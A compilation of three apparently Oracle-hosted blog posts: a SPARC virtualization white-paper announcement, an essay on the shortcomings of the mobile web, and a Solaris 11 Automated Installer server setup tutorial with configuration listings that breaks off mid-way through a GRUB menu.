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• Best Practices for Building a Virtualized SPARC Computing Environment

  - by Scott Elvington

  Normal 0 false false false EN-US X-NONE X-NONE /* Style Definitions */ table.MsoNormalTable {mso-style-name:"Table Normal"; mso-tstyle-rowband-size:0; mso-tstyle-colband-size:0; mso-style-noshow:yes; mso-style-priority:99; mso-style-qformat:yes; mso-style-parent:""; mso-padding-alt:0in 5.4pt 0in 5.4pt; mso-para-margin:0in; mso-para-margin-bottom:.0001pt; mso-pagination:widow-orphan; font-size:11.0pt; font-family:"Calibri","sans-serif"; mso-ascii-font-family:Calibri; mso-ascii-theme-font:minor-latin; mso-fareast-font-family:"Times New Roman"; mso-fareast-theme-font:minor-fareast; mso-hansi-font-family:Calibri; mso-hansi-theme-font:minor-latin; mso-bidi-font-family:"Times New Roman"; mso-bidi-theme-font:minor-bidi;} Oracle just published Best Practices for Building a Virtualized SPARC Computing Environment, a white paper that provides guidance on the complete hardware and software stack for deploying and managing your physical and virtual SPARC infrastructure. The solution is based on Oracle SPARC T4 servers, Oracle Solaris 11 with Oracle VM for SPARC 2.2, Sun ZFS storage appliances, Sun 10GbE 72 port switches and Oracle Enterprise Manager Ops Center 12c. The paper emphasizes the value and importance of planning the resources (compute, network and storage) that will comprise the virtualized environment to achieve the desired capacity, performance and availability characteristics. The document also details numerous operational best practices that will help you deliver on those characteristics with unique capabilities provided by Enterprise Manager Ops Center including policy-based guest placement, pool resource balancing and automated guest recovery in the event of server failure. Plenty of references to supplementary documentation are included to help point you to additional resources. Whether you’re building the first stages of your private cloud or a general-purpose virtualized SPARC computing environment, these documented best practices will help ensure success. Please join Phil Bullinger and Steve Wilson from Oracle to learn more about breakthrough efficiency in private cloud infrastructure and how SPARC based virtualization can help you get started on your cloud journey. Stay Connected: Twitter |  Face book |  You Tube |  Linked in |  Newsletter

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• The broken Promise of the Mobile Web

  - by Rick Strahl

  High end mobile devices have been with us now for almost 7 years and they have utterly transformed the way we access information. Mobile phones and smartphones that have access to the Internet and host smart applications are in the hands of a large percentage of the population of the world. In many places even very remote, cell phones and even smart phones are a common sight. I’ll never forget when I was in India in 2011 I was up in the Southern Indian mountains riding an elephant out of a tiny local village, with an elephant herder in front riding atop of the elephant in front of us. He was dressed in traditional garb with the loin wrap and head cloth/turban as did quite a few of the locals in this small out of the way and not so touristy village. So we’re slowly trundling along in the forest and he’s lazily using his stick to guide the elephant and… 10 minutes in he pulls out his cell phone from his sash and starts texting. In the middle of texting a huge pig jumps out from the side of the trail and he takes a picture running across our path in the jungle! So yeah, mobile technology is very pervasive and it’s reached into even very buried and unexpected parts of this world. Apps are still King Apps currently rule the roost when it comes to mobile devices and the applications that run on them. If there’s something that you need on your mobile device your first step usually is to look for an app, not use your browser. But native app development remains a pain in the butt, with the requirement to have to support 2 or 3 completely separate platforms. There are solutions that try to bridge that gap. Xamarin is on a tear at the moment, providing their cross-device toolkit to build applications using C#. While Xamarin tools are impressive – and also *very* expensive – they only address part of the development madness that is app development. There are still specific device integration isssues, dealing with the different developer programs, security and certificate setups and all that other noise that surrounds app development. There’s also PhoneGap/Cordova which provides a hybrid solution that involves creating local HTML/CSS/JavaScript based applications, and then packaging them to run in a specialized App container that can run on most mobile device platforms using a WebView interface. This allows for using of HTML technology, but it also still requires all the set up, configuration of APIs, security keys and certification and submission and deployment process just like native applications – you actually lose many of the benefits that  Web based apps bring. The big selling point of Cordova is that you get to use HTML have the ability to build your UI once for all platforms and run across all of them – but the rest of the app process remains in place. Apps can be a big pain to create and manage especially when we are talking about specialized or vertical business applications that aren’t geared at the mainstream market and that don’t fit the ‘store’ model. If you’re building a small intra department application you don’t want to deal with multiple device platforms and certification etc. for various public or corporate app stores. That model is simply not a good fit both from the development and deployment perspective. Even for commercial, big ticket apps, HTML as a UI platform offers many advantages over native, from write-once run-anywhere, to remote maintenance, single point of management and failure to having full control over the application as opposed to have the app store overloads censor you. In a lot of ways Web based HTML/CSS/JavaScript applications have so much potential for building better solutions based on existing Web technologies for the very same reasons a lot of content years ago moved off the desktop to the Web. To me the Web as a mobile platform makes perfect sense, but the reality of today’s Mobile Web unfortunately looks a little different… Where’s the Love for the Mobile Web? Yet here we are in the middle of 2014, nearly 7 years after the first iPhone was released and brought the promise of rich interactive information at your fingertips, and yet we still don’t really have a solid mobile Web platform. I know what you’re thinking: “But we have lots of HTML/JavaScript/CSS features that allows us to build nice mobile interfaces”. I agree to a point – it’s actually quite possible to build nice looking, rich and capable Web UI today. We have media queries to deal with varied display sizes, CSS transforms for smooth animations and transitions, tons of CSS improvements in CSS 3 that facilitate rich layout, a host of APIs geared towards mobile device features and lately even a number of JavaScript framework choices that facilitate development of multi-screen apps in a consistent manner. Personally I’ve been working a lot with AngularJs and heavily modified Bootstrap themes to build mobile first UIs and that’s been working very well to provide highly usable and attractive UI for typical mobile business applications. From the pure UI perspective things actually look very good. Not just about the UI But it’s not just about the UI - it’s also about integration with the mobile device. When it comes to putting all those pieces together into what amounts to a consolidated platform to build mobile Web applications, I think we still have a ways to go… there are a lot of missing pieces to make it all work together and integrate with the device more smoothly, and more importantly to make it work uniformly across the majority of devices. I think there are a number of reasons for this. Slow Standards Adoption HTML standards implementations and ratification has been dreadfully slow, and browser vendors all seem to pick and choose different pieces of the technology they implement. The end result is that we have a capable UI platform that’s missing some of the infrastructure pieces to make it whole on mobile devices. There’s lots of potential but what is lacking that final 10% to build truly compelling mobile applications that can compete favorably with native applications. Some of it is the fragmentation of browsers and the slow evolution of the mobile specific HTML APIs. A host of mobile standards exist but many of the standards are in the early review stage and they have been there stuck for long periods of time and seem to move at a glacial pace. Browser vendors seem even slower to implement them, and for good reason – non-ratified standards mean that implementations may change and vendor implementations tend to be experimental and  likely have to be changed later. Neither Vendors or developers are not keen on changing standards. This is the typical chicken and egg scenario, but without some forward momentum from some party we end up stuck in the mud. It seems that either the standards bodies or the vendors need to carry the torch forward and that doesn’t seem to be happening quickly enough. Mobile Device Integration just isn’t good enough Current standards are not far reaching enough to address a number of the use case scenarios necessary for many mobile applications. While not every application needs to have access to all mobile device features, almost every mobile application could benefit from some integration with other parts of the mobile device platform. Integration with GPS, phone, media, messaging, notifications, linking and contacts system are benefits that are unique to mobile applications and could be widely used, but are mostly (with the exception of GPS) inaccessible for Web based applications today. Unfortunately trying to do most of this today only with a mobile Web browser is a losing battle. Aside from PhoneGap/Cordova’s app centric model with its own custom API accessing mobile device features and the token exception of the GeoLocation API, most device integration features are not widely supported by the current crop of mobile browsers. For example there’s no usable messaging API that allows access to SMS or contacts from HTML. Even obvious components like the Media Capture API are only implemented partially by mobile devices. There are alternatives and workarounds for some of these interfaces by using browser specific code, but that’s might ugly and something that I thought we were trying to leave behind with newer browser standards. But it’s not quite working out that way. It’s utterly perplexing to me that mobile standards like Media Capture and Streams, Media Gallery Access, Responsive Images, Messaging API, Contacts Manager API have only minimal or no traction at all today. Keep in mind we’ve had mobile browsers for nearly 7 years now, and yet we still have to think about how to get access to an image from the image gallery or the camera on some devices? Heck Windows Phone IE Mobile just gained the ability to upload images recently in the Windows 8.1 Update – that’s feature that HTML has had for 20 years! These are simple concepts and common problems that should have been solved a long time ago. It’s extremely frustrating to see build 90% of a mobile Web app with relative ease and then hit a brick wall for the remaining 10%, which often can be show stoppers. The remaining 10% have to do with platform integration, browser differences and working around the limitations that browsers and ‘pinned’ applications impose on HTML applications. The maddening part is that these limitations seem arbitrary as they could easily work on all mobile platforms. For example, SMS has a URL Moniker interface that sort of works on Android, works badly with iOS (only works if the address is already in the contact list) and not at all on Windows Phone. There’s no reason this shouldn’t work universally using the same interface – after all all phones have supported SMS since before the year 2000! But, it doesn’t have to be this way Change can happen very quickly. Take the GeoLocation API for example. Geolocation has taken off at the very beginning of the mobile device era and today it works well, provides the necessary security (a big concern for many mobile APIs), and is supported by just about all major mobile and even desktop browsers today. It handles security concerns via prompts to avoid unwanted access which is a model that would work for most other device APIs in a similar fashion. One time approval and occasional re-approval if code changes or caches expire. Simple and only slightly intrusive. It all works well, even though GeoLocation actually has some physical limitations, such as representing the current location when no GPS device is present. Yet this is a solved problem, where other APIs that are conceptually much simpler to implement have failed to gain any traction at all. Technically none of these APIs should be a problem to implement, but it appears that the momentum is just not there. Inadequate Web Application Linking and Activation Another important piece of the puzzle missing is the integration of HTML based Web applications. Today HTML based applications are not first class citizens on mobile operating systems. When talking about HTML based content there’s a big difference between content and applications. Content is great for search engine discovery and plain browser usage. Content is usually accessed intermittently and permanent linking is not so critical for this type of content.  But applications have different needs. Applications need to be started up quickly and must be easily switchable to support a multi-tasking user workflow. Therefore, it’s pretty crucial that mobile Web apps are integrated into the underlying mobile OS and work with the standard task management features. Unfortunately this integration is not as smooth as it should be. It starts with actually trying to find mobile Web applications, to ‘installing’ them onto a phone in an easily accessible manner in a prominent position. The experience of discovering a Mobile Web ‘App’ and making it sticky is by no means as easy or satisfying. Today the way you’d go about this is: Open the browser Search for a Web Site in the browser with your search engine of choice Hope that you find the right site Hope that you actually find a site that works for your mobile device Click on the link and run the app in a fully chrome’d browser instance (read tiny surface area) Pin the app to the home screen (with all the limitations outline above) Hope you pointed at the right URL when you pinned Even for you and me as developers, there are a few steps in there that are painful and annoying, but think about the average user. First figuring out how to search for a specific site or URL? And then pinning the app and hopefully from the right location? You’ve probably lost more than half of your audience at that point. This experience sucks. For developers too this process is painful since app developers can’t control the shortcut creation directly. This problem often gets solved by crazy coding schemes, with annoying pop-ups that try to get people to create shortcuts via fancy animations that are both annoying and add overhead to each and every application that implements this sort of thing differently. And that’s not the end of it - getting the link onto the home screen with an application icon varies quite a bit between browsers. Apple’s non-standard meta tags are prominent and they work with iOS and Android (only more recent versions), but not on Windows Phone. Windows Phone instead requires you to create an actual screen or rather a partial screen be captured for a shortcut in the tile manager. Who had that brilliant idea I wonder? Surprisingly Chrome on recent Android versions seems to actually get it right – icons use pngs, pinning is easy and pinned applications properly behave like standalone apps and retain the browser’s active page state and content. Each of the platforms has a different way to specify icons (WP doesn’t allow you to use an icon image at all), and the most widely used interface in use today is a bunch of Apple specific meta tags that other browsers choose to support. The question is: Why is there no standard implementation for installing shortcuts across mobile platforms using an official format rather than a proprietary one? Then there’s iOS and the crazy way it treats home screen linked URLs using a crazy hybrid format that is neither as capable as a Web app running in Safari nor a WebView hosted application. Moving off the Web ‘app’ link when switching to another app actually causes the browser and preview it to ‘blank out’ the Web application in the Task View (see screenshot on the right). Then, when the ‘app’ is reactivated it ends up completely restarting the browser with the original link. This is crazy behavior that you can’t easily work around. In some situations you might be able to store the application state and restore it using LocalStorage, but for many scenarios that involve complex data sources (like say Google Maps) that’s not a possibility. The only reason for this screwed up behavior I can think of is that it is deliberate to make Web apps a pain in the butt to use and forcing users trough the App Store/PhoneGap/Cordova route. App linking and management is a very basic problem – something that we essentially have solved in every desktop browser – yet on mobile devices where it arguably matters a lot more to have easy access to web content we have to jump through hoops to have even a remotely decent linking/activation experience across browsers. Where’s the Money? It’s not surprising that device home screen integration and Mobile Web support in general is in such dismal shape – the mobile OS vendors benefit financially from App store sales and have little to gain from Web based applications that bypass the App store and the cash cow that it presents. On top of that, platform specific vendor lock-in of both end users and developers who have invested in hardware, apps and consumables is something that mobile platform vendors actually aspire to. Web based interfaces that are cross-platform are the anti-thesis of that and so again it’s no surprise that the mobile Web is on a struggling path. But – that may be changing. More and more we’re seeing operations shifting to services that are subscription based or otherwise collect money for usage, and that may drive more progress into the Web direction in the end . Nothing like the almighty dollar to drive innovation forward. Do we need a Mobile Web App Store? As much as I dislike moderated experiences in today’s massive App Stores, they do at least provide one single place to look for apps for your device. I think we could really use some sort of registry, that could provide something akin to an app store for mobile Web apps, to make it easier to actually find mobile applications. This could take the form of a specialized search engine, or maybe a more formal store/registry like structure. Something like apt-get/chocolatey for Web apps. It could be curated and provide at least some feedback and reviews that might help with the integrity of applications. Coupled to that could be a native application on each platform that would allow searching and browsing of the registry and then also handle installation in the form of providing the home screen linking, plus maybe an initial security configuration that determines what features are allowed access to for the app. I’m not holding my breath. In order for this sort of thing to take off and gain widespread appeal, a lot of coordination would be required. And in order to get enough traction it would have to come from a well known entity – a mobile Web app store from a no name source is unlikely to gain high enough usage numbers to make a difference. In a way this would eliminate some of the freedom of the Web, but of course this would also be an optional search path in addition to the standard open Web search mechanisms to find and access content today. Security Security is a big deal, and one of the perceived reasons why so many IT professionals appear to be willing to go back to the walled garden of deployed apps is that Apps are perceived as safe due to the official review and curation of the App stores. Curated stores are supposed to protect you from malware, illegal and misleading content. It doesn’t always work out that way and all the major vendors have had issues with security and the review process at some time or another. Security is critical, but I also think that Web applications in general pose less of a security threat than native applications, by nature of the sandboxed browser and JavaScript environments. Web applications run externally completely and in the HTML and JavaScript sandboxes, with only a very few controlled APIs allowing access to device specific features. And as discussed earlier – security for any device interaction can be granted the same for mobile applications through a Web browser, as they can for native applications either via explicit policies loaded from the Web, or via prompting as GeoLocation does today. Security is important, but it’s certainly solvable problem for Web applications even those that need to access device hardware. Security shouldn’t be a reason for Web apps to be an equal player in mobile applications. Apps are winning, but haven’t we been here before? So now we’re finding ourselves back in an era of installed app, rather than Web based and managed apps. Only it’s even worse today than with Desktop applications, in that the apps are going through a gatekeeper that charges a toll and censors what you can and can’t do in your apps. Frankly it’s a mystery to me why anybody would buy into this model and why it’s lasted this long when we’ve already been through this process. It’s crazy… It’s really a shame that this regression is happening. We have the technology to make mobile Web apps much more prominent, but yet we’re basically held back by what seems little more than bureaucracy, partisan bickering and self interest of the major parties involved. Back in the day of the desktop it was Internet Explorer’s 98+%  market shareholding back the Web from improvements for many years – now it’s the combined mobile OS market in control of the mobile browsers. If mobile Web apps were allowed to be treated the same as native apps with simple ways to install and run them consistently and persistently, that would go a long way to making mobile applications much more usable and seriously viable alternatives to native apps. But as it is mobile apps have a severe disadvantage in placement and operation. There are a few bright spots in all of this. Mozilla’s FireFoxOs is embracing the Web for it’s mobile OS by essentially building every app out of HTML and JavaScript based content. It supports both packaged and certified package modes (that can be put into the app store), and Open Web apps that are loaded and run completely off the Web and can also cache locally for offline operation using a manifest. Open Web apps are treated as full class citizens in FireFoxOS and run using the same mechanism as installed apps. Unfortunately FireFoxOs is getting a slow start with minimal device support and specifically targeting the low end market. We can hope that this approach will change and catch on with other vendors, but that’s also an uphill battle given the conflict of interest with platform lock in that it represents. Recent versions of Android also seem to be working reasonably well with mobile application integration onto the desktop and activation out of the box. Although it still uses the Apple meta tags to find icons and behavior settings, everything at least works as you would expect – icons to the desktop on pinning, WebView based full screen activation, and reliable application persistence as the browser/app is treated like a real application. Hopefully iOS will at some point provide this same level of rudimentary Web app support. What’s also interesting to me is that Microsoft hasn’t picked up on the obvious need for a solid Web App platform. Being a distant third in the mobile OS war, Microsoft certainly has nothing to lose and everything to gain by using fresh ideas and expanding into areas that the other major vendors are neglecting. But instead Microsoft is trying to beat the market leaders at their own game, fighting on their adversary’s terms instead of taking a new tack. Providing a kick ass mobile Web platform that takes the lead on some of the proposed mobile APIs would be something positive that Microsoft could do to improve its miserable position in the mobile device market. Where are we at with Mobile Web? It sure sounds like I’m really down on the Mobile Web, right? I’ve built a number of mobile apps in the last year and while overall result and response has been very positive to what we were able to accomplish in terms of UI, getting that final 10% that required device integration dialed was an absolute nightmare on every single one of them. Big compromises had to be made and some features were left out or had to be modified for some devices. In two cases we opted to go the Cordova route in order to get the integration we needed, along with the extra pain involved in that process. Unless you’re not integrating with device features and you don’t care deeply about a smooth integration with the mobile desktop, mobile Web development is fraught with frustration. So, yes I’m frustrated! But it’s not for lack of wanting the mobile Web to succeed. I am still a firm believer that we will eventually arrive a much more functional mobile Web platform that allows access to the most common device features in a sensible way. It wouldn't be difficult for device platform vendors to make Web based applications first class citizens on mobile devices. But unfortunately it looks like it will still be some time before this happens. So, what’s your experience building mobile Web apps? Are you finding similar issues? Just giving up on raw Web applications and building PhoneGap apps instead? Completely skipping the Web and going native? Leave a comment for discussion. Resources Rick Strahl on DotNet Rocks talking about Mobile Web© Rick Strahl, West Wind Technologies, 2005-2014Posted in HTML5  Mobile   Tweet !function(d,s,id){var js,fjs=d.getElementsByTagName(s)[0];if(!d.getElementById(id)){js=d.createElement(s);js.id=id;js.src="//platform.twitter.com/widgets.js";fjs.parentNode.insertBefore(js,fjs);}}(document,"script","twitter-wjs"); (function() { var po = document.createElement('script'); po.type = 'text/javascript'; po.async = true; po.src = 'https://apis.google.com/js/plusone.js'; var s = document.getElementsByTagName('script')[0]; s.parentNode.insertBefore(po, s); })();

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• Setting up a local AI server - easy with Solaris 11

  - by Stefan Hinker

  Many things are new in Solaris 11, Autoinstall is one of them.  If, like me, you've known Jumpstart for the last 2 centuries or so, you'll have to start from scratch.  Well, almost, as the concepts are similar, and it's not all that difficult.  Just new. I wanted to have an AI server that I could use for demo purposes, on the train if need be.  That answers the question of hardware requirements: portable.  But let's start at the beginning. First, you need an OS image, of course.  In the new world of Solaris 11, it is now called a repository.  The original can be downloaded from the Solaris 11 page at Oracle.   What you want is the "Oracle Solaris 11 11/11 Repository Image", which comes in two parts that can be combined using cat.  MD5 checksums for these (and all other downloads from that page) are available closer to the top of the page. With that, building the repository is quick and simple: # zfs create -o mountpoint=/export/repo rpool/ai/repo # zfs create rpool/ai/repo/s11 # mount -o ro -F hsfs /tmp/sol-11-1111-repo-full.iso /mnt # rsync -aP /mnt/repo /export/repo/s11 # umount /mnt # pkgrepo rebuild -s /export/repo/sol11/repo # zfs snapshot rpool/ai/repo/sol11@fcs # pkgrepo info -s /export/repo/sol11/repo PUBLISHER PACKAGES STATUS UPDATED solaris 4292 online 2012-03-12T20:47:15.378639Z That's all there's to it.  Let's make a snapshot, just to be on the safe side.  You never know when one will come in handy.  To use this repository, you could just add it as a file-based publisher: # pkg set-publisher -g file:///export/repo/sol11/repo solaris In case I'd want to access this repository through a (virtual) network, i'll now quickly activate the repository-service: # svccfg -s application/pkg/server \ setprop pkg/inst_root=/export/repo/sol11/repo # svccfg -s application/pkg/server setprop pkg/readonly=true # svcadm refresh application/pkg/server # svcadm enable application/pkg/server That's all you need - now point your browser to http://localhost/ to view your beautiful repository-server. Step 1 is done.  All of this, by the way, is nicely documented in the README file that's contained in the repository image. Of course, we already have updates to the original release.  You can find them in MOS in the Oracle Solaris 11 Support Repository Updates (SRU) Index.  You can simply add these to your existing repository or create separate repositories for each SRU.  The individual SRUs are self-sufficient and incremental - SRU4 includes all updates from SRU2 and SRU3.  With ZFS, you can also get both: A full repository with all updates and at the same time incremental ones up to each of the updates: # mount -o ro -F hsfs /tmp/sol-11-1111-sru4-05-incr-repo.iso /mnt # pkgrecv -s /mnt/repo -d /export/repo/sol11/repo '*' # umount /mnt # pkgrepo rebuild -s /export/repo/sol11/repo # zfs snapshot rpool/ai/repo/sol11@sru4 # zfs set snapdir=visible rpool/ai/repo/sol11 # svcadm restart svc:/application/pkg/server:default The normal repository is now updated to SRU4.  Thanks to the ZFS snapshots, there is also a valid repository of Solaris 11 11/11 without the update located at /export/repo/sol11/.zfs/snapshot/fcs . If you like, you can also create another repository service for each update, running on a separate port. But now lets continue with the AI server.  Just a little bit of reading in the dokumentation makes it clear that we will need to run a DHCP server for this.  Since I already have one active (for my SunRay installation) and since it's a good idea to have these kinds of services separate anyway, I decided to create this in a Zone.  So, let's create one first: # zfs create -o mountpoint=/export/install rpool/ai/install # zfs create -o mountpoint=/zones rpool/zones # zonecfg -z ai-server zonecfg:ai-server> create create: Using system default template 'SYSdefault' zonecfg:ai-server> set zonepath=/zones/ai-server zonecfg:ai-server> add dataset zonecfg:ai-server:dataset> set name=rpool/ai/install zonecfg:ai-server:dataset> set alias=install zonecfg:ai-server:dataset> end zonecfg:ai-server> commit zonecfg:ai-server> exit # zoneadm -z ai-server install # zoneadm -z ai-server boot ; zlogin -C ai-server Give it a hostname and IP address at first boot, and there's the Zone.  For a publisher for Solaris packages, it will be bound to the "System Publisher" from the Global Zone.  The /export/install filesystem, of course, is intended to be used by the AI server.  Let's configure it now: #zlogin ai-server root@ai-server:~# pkg install install/installadm root@ai-server:~# installadm create-service -n x86-fcs -a i386 \ -s pkg://solaris/install-image/[email protected],5.11-0.175.0.0.0.2.1482 \ -d /export/install/fcs -i 192.168.2.20 -c 3 With that, the core AI server is already done.  What happened here?  First, I installed the AI server software.  IPS makes that nice and easy.  If necessary, it'll also pull in the required DHCP-Server and anything else that might be missing.  Watch out for that DHCP server software.  In Solaris 11, there are two different versions.  There's the one you might know from Solaris 10 and earlier, and then there's a new one from ISC.  The latter is the one we need for AI.  The SMF service names of both are very similar.  The "old" one is "svc:/network/dhcp-server:default". The ISC-server comes with several SMF-services. We at least need "svc:/network/dhcp/server:ipv4".  The command "installadm create-service" creates the installation-service. It's called "x86-fcs", serves the "i386" architecture and gets its boot image from the repository of the system publisher, using version 5.11,5.11-0.175.0.0.0.2.1482, which is Solaris 11 11/11.  (The option "-a i386" in this example is optional, since the installserver itself runs on a x86 machine.) The boot-environment for clients is created in /export/install/fcs and the DHCP-server is configured for 3 IP-addresses starting at 192.168.2.20.  This configuration is stored in a very human readable form in /etc/inet/dhcpd4.conf.  An AI-service for SPARC systems could be created in the very same way, using "-a sparc" as the architecture option. Now we would be ready to register and install the first client.  It would be installed with the default "solaris-large-server" using the publisher "http://pkg.oracle.com/solaris/release" and would query it's configuration interactively at first boot.  This makes it very clear that an AI-server is really only a boot-server.  The true source of packets to install can be different.  Since I don't like these defaults for my demo setup, I did some extra config work for my clients. The configuration of a client is controlled by manifests and profiles.  The manifest controls which packets are installed and how the filesystems are layed out.  In that, it's very much like the old "rules.ok" file in Jumpstart.  Profiles contain additional configuration like root passwords, primary user account, IP addresses, keyboard layout etc.  Hence, profiles are very similar to the old sysid.cfg file. The easiest way to get your hands on a manifest is to ask the AI server we just created to give us it's default one.  Then modify that to our liking and give it back to the installserver to use: root@ai-server:~# mkdir -p /export/install/configs/manifests root@ai-server:~# cd /export/install/configs/manifests root@ai-server:~# installadm export -n x86-fcs -m orig_default \ -o orig_default.xml root@ai-server:~# cp orig_default.xml s11-fcs.small.local.xml root@ai-server:~# vi s11-fcs.small.local.xml root@ai-server:~# more s11-fcs.small.local.xml <!DOCTYPE auto_install SYSTEM "file:///usr/share/install/ai.dtd.1"> <auto_install> <ai_instance name="S11 Small fcs local"> <target> <logical> <zpool name="rpool" is_root="true"> <filesystem name="export" mountpoint="/export"/> <filesystem name="export/home"/> <be name="solaris"/> </zpool> </logical> </target> <software type="IPS"> <destination> <image> <!-- Specify locales to install --> <facet set="false">facet.locale.*</facet> <facet set="true">facet.locale.de</facet> <facet set="true">facet.locale.de_DE</facet> <facet set="true">facet.locale.en</facet> <facet set="true">facet.locale.en_US</facet> </image> </destination> <source> <publisher name="solaris"> <origin name="http://192.168.2.12/"/> </publisher> </source> <!-- By default the latest build available, in the specified IPS repository, is installed. If another build is required, the build number has to be appended to the 'entire' package in the following form: <name>pkg:/[email protected]#</name> --> <software_data action="install"> <name>pkg:/[email protected],5.11-0.175.0.0.0.2.0</name> <name>pkg:/group/system/solaris-small-server</name> </software_data> </software> </ai_instance> </auto_install> root@ai-server:~# installadm create-manifest -n x86-fcs -d \ -f ./s11-fcs.small.local.xml root@ai-server:~# installadm list -m -n x86-fcs Manifest Status Criteria -------- ------ -------- S11 Small fcs local Default None orig_default Inactive None The major points in this new manifest are: Install "solaris-small-server" Install a few locales less than the default.  I'm not that fluid in French or Japanese... Use my own package service as publisher, running on IP address 192.168.2.12 Install the initial release of Solaris 11:  pkg:/[email protected],5.11-0.175.0.0.0.2.0 Using a similar approach, I'll create a default profile interactively and use it as a template for a few customized building blocks, each defining a part of the overall system configuration.  The modular approach makes it easy to configure numerous clients later on: root@ai-server:~# mkdir -p /export/install/configs/profiles root@ai-server:~# cd /export/install/configs/profiles root@ai-server:~# sysconfig create-profile -o default.xml root@ai-server:~# cp default.xml general.xml; cp default.xml mars.xml root@ai-server:~# cp default.xml user.xml root@ai-server:~# vi general.xml mars.xml user.xml root@ai-server:~# more general.xml mars.xml user.xml :::::::::::::: general.xml :::::::::::::: <!DOCTYPE service_bundle SYSTEM "/usr/share/lib/xml/dtd/service_bundle.dtd.1"> <service_bundle type="profile" name="sysconfig"> <service version="1" type="service" name="system/timezone"> <instance enabled="true" name="default"> <property_group type="application" name="timezone"> <propval type="astring" name="localtime" value="Europe/Berlin"/> </property_group> </instance> </service> <service version="1" type="service" name="system/environment"> <instance enabled="true" name="init"> <property_group type="application" name="environment"> <propval type="astring" name="LANG" value="C"/> </property_group> </instance> </service> <service version="1" type="service" name="system/keymap"> <instance enabled="true" name="default"> <property_group type="system" name="keymap"> <propval type="astring" name="layout" value="US-English"/> </property_group> </instance> </service> <service version="1" type="service" name="system/console-login"> <instance enabled="true" name="default"> <property_group type="application" name="ttymon"> <propval type="astring" name="terminal_type" value="vt100"/> </property_group> </instance> </service> <service version="1" type="service" name="network/physical"> <instance enabled="true" name="default"> <property_group type="application" name="netcfg"> <propval type="astring" name="active_ncp" value="DefaultFixed"/> </property_group> </instance> </service> <service version="1" type="service" name="system/name-service/switch"> <property_group type="application" name="config"> <propval type="astring" name="default" value="files"/> <propval type="astring" name="host" value="files dns"/> <propval type="astring" name="printer" value="user files"/> </property_group> <instance enabled="true" name="default"/> </service> <service version="1" type="service" name="system/name-service/cache"> <instance enabled="true" name="default"/> </service> <service version="1" type="service" name="network/dns/client"> <property_group type="application" name="config"> <property type="net_address" name="nameserver"> <net_address_list> <value_node value="192.168.2.1"/> </net_address_list> </property> </property_group> <instance enabled="true" name="default"/> </service> </service_bundle> :::::::::::::: mars.xml :::::::::::::: <!DOCTYPE service_bundle SYSTEM "/usr/share/lib/xml/dtd/service_bundle.dtd.1"> <service_bundle type="profile" name="sysconfig"> <service version="1" type="service" name="network/install"> <instance enabled="true" name="default"> <property_group type="application" name="install_ipv4_interface"> <propval type="astring" name="address_type" value="static"/> <propval type="net_address_v4" name="static_address" value="192.168.2.100/24"/> <propval type="astring" name="name" value="net0/v4"/> <propval type="net_address_v4" name="default_route" value="192.168.2.1"/> </property_group> <property_group type="application" name="install_ipv6_interface"> <propval type="astring" name="stateful" value="yes"/> <propval type="astring" name="stateless" value="yes"/> <propval type="astring" name="address_type" value="addrconf"/> <propval type="astring" name="name" value="net0/v6"/> </property_group> </instance> </service> <service version="1" type="service" name="system/identity"> <instance enabled="true" name="node"> <property_group type="application" name="config"> <propval type="astring" name="nodename" value="mars"/> </property_group> </instance> </service> </service_bundle> :::::::::::::: user.xml :::::::::::::: <!DOCTYPE service_bundle SYSTEM "/usr/share/lib/xml/dtd/service_bundle.dtd.1"> <service_bundle type="profile" name="sysconfig"> <service version="1" type="service" name="system/config-user"> <instance enabled="true" name="default"> <property_group type="application" name="root_account"> <propval type="astring" name="login" value="root"/> <propval type="astring" name="password" value="noIWillNotTellYouMyPasswordNotEvenEncrypted"/> <propval type="astring" name="type" value="role"/> </property_group> <property_group type="application" name="user_account"> <propval type="astring" name="login" value="stefan"/> <propval type="astring" name="password" value="noIWillNotTellYouMyPasswordNotEvenEncrypted"/> <propval type="astring" name="type" value="normal"/> <propval type="astring" name="description" value="Stefan Hinker"/> <propval type="count" name="uid" value="12345"/> <propval type="count" name="gid" value="10"/> <propval type="astring" name="shell" value="/usr/bin/bash"/> <propval type="astring" name="roles" value="root"/> <propval type="astring" name="profiles" value="System Administrator"/> <propval type="astring" name="sudoers" value="ALL=(ALL) ALL"/> </property_group> </instance> </service> </service_bundle> root@ai-server:~# installadm create-profile -n x86-fcs -f general.xml root@ai-server:~# installadm create-profile -n x86-fcs -f user.xml root@ai-server:~# installadm create-profile -n x86-fcs -f mars.xml \ -c ipv4=192.168.2.100 root@ai-server:~# installadm list -p Service Name Profile ------------ ------- x86-fcs general.xml mars.xml user.xml root@ai-server:~# installadm list -n x86-fcs -p Profile Criteria ------- -------- general.xml None mars.xml ipv4 = 192.168.2.100 user.xml None Here's the idea behind these files: "general.xml" contains settings valid for all my clients.  Stuff like DNS servers, for example, which in my case will always be the same. "user.xml" only contains user definitions.  That is, a root password and a primary user.Both of these profiles will be valid for all clients (for now). "mars.xml" defines network settings for an individual client.  This profile is associated with an IP-Address.  For this to work, I'll have to tweak the DHCP-settings in the next step: root@ai-server:~# installadm create-client -e 08:00:27:AA:3D:B1 -n x86-fcs root@ai-server:~# vi /etc/inet/dhcpd4.conf root@ai-server:~# tail -5 /etc/inet/dhcpd4.conf host 080027AA3DB1 { hardware ethernet 08:00:27:AA:3D:B1; fixed-address 192.168.2.100; filename "01080027AA3DB1"; } This completes the client preparations.  I manually added the IP-Address for mars to /etc/inet/dhcpd4.conf.  This is needed for the "mars.xml" profile.  Disabling arbitrary DHCP-replies will shut up this DHCP server, making my life in a shared environment a lot more peaceful ;-)Now, I of course want this installation to be completely hands-off.  For this to work, I'll need to modify the grub boot menu for this client slightly.  You can find it in /etc/netboot.  "installadm create-client" will create a new boot menu for every client, identified by the client's MAC address.  The template for this can be found in a subdirectory with the name of the install service, /etc/netboot/x86-fcs in our case.  If you don't want to change this manually for every client, modify that template to your liking instead. root@ai-server:~# cd /etc/netboot root@ai-server:~# cp menu.lst.01080027AA3DB1 menu.lst.01080027AA3DB1.org root@ai-server:~# vi menu.lst.01080027AA3DB1 root@ai-server:~# diff menu.lst.01080027AA3DB1 menu.lst.01080027AA3DB1.org 1,2c1,2 < default=1 < timeout=10 --- > default=0 > timeout=30 root@ai-server:~# more menu.lst.01080027AA3DB1 default=1 timeout=10 min_mem64=0 title Oracle Solaris 11 11/11 Text Installer and command line kernel$ /x86-fcs/platform/i86pc/kernel/$ISADIR/unix -B install_media=htt p://$serverIP:5555//export/install/fcs,install_service=x86-fcs,install_svc_addre ss=$serverIP:5555 module$ /x86-fcs/platform/i86pc/$ISADIR/boot_archive title Oracle 